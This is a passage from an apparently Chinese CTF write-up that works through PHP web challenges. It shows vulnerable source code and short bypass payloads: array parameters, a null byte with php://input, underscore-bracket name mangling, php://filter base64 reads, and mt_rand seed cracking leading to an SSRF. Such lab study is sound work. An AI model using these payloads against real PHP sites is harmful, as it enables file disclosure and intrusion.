    43.     echo "Sorry. You have no permissions.";
    44. }
    45. ?>

    想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组，这样的话在执行 implode() 函数的时候就不会使 &s 为空，成功绕过这段逻辑拿到flag。

    伪协议

    2. error_reporting(0);
    3. echo "";
    4.  
    5. if(!$_GET['id'])
    6. {
    7.         header('Location: index.php?id=1');
    8.         exit();
    9. }
    10. $id=$_GET['id'];
    11. $a=$_GET['a'];
    12. $b=$_GET['b'];
    13. if(stripos($a,'.'))
    14. {
    15.         echo 'Hahahahahaha';
    16.         return ;
    17. }
    18. $data = @file_get_contents($a,'r');
    19. if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    20. {
    21.         require("flag.txt");
    22. }
    23. else
    24. {
    25.         print "work harder!harder!harder!";
    26. }
    27.  
    28. ?>

    ?id=aaa&b=%00123456&a=php//:input

    post: 1112 is a nice lab!

    得到{/^HT2mCpcvOLf}其中^经过url编码为%5e，所以最后访问即

    写入的读

    2. //what you want to see is in ssssrf.php
    3. error_reporting(0);
    4. highlight_file(__FILE__);
    5. if(isset($_POST['crack_me.com']))
    6. {
    7.     $filename=$_POST['crack_me.com'];
    8.     if(stripos($filename, 'bingbing')>0){ 
    9.         echo file_get_contents($filename); 
    10.     }
    11.     else{
    12.         die("you don't like  bingbing ???");
    13.     }
    14. }
    15. else
    16. {
    17.     die("can't pass the level?hai xiang kai junjian?");
    18. }

    [会代替成为_

    crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php

    php伪随机数

    2. //next ,you can try ccccmd.php
    3. error_reporting(0);
    4. function curl($url){
    5.         $ch=curl_init($url);
    6.         curl_setopt($ch, CURLOPT_HEADER, 0);
    7.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    8.         $result=curl_exec($ch);
    9.         curl_close($ch);
    10.         echo ($result);
    11. }
    12. $num=$_GET['num'];
    13. mt_srand(getenv('SEED'));
    14. $r1=mt_rand();
    15. echo $r1;
    16. $r2=mt_rand();
    17. if($num==$r2){
    18.         $url=$_GET['url'];
    19.         curl($url);
    20. }

    这里需要先绕过$r2=mt_rand();

    https://gitee.com/jrand/php_mt_seed

    用这个工具.

  • 相关阅读:
    Express中的JWT使用
    谈谈Linux内核的实时性优化
    文件操作【c语言】
    Mybatis---CRUD案例
    Python 多进程模块 multiprocessing - 简单使用
    HC32L110(五) Ubuntu20.04 VSCode的Debug环境配置
    最低成本的foc驱动电路，5v低压开环foc驱动器
    Error creating bean with name ‘apiModelSpecificationReader‘ defined in URL
    12 导数的概念
    C++笔记之引用折叠规则
  • 原文地址：https://blog.csdn.net/why811/article/details/134035954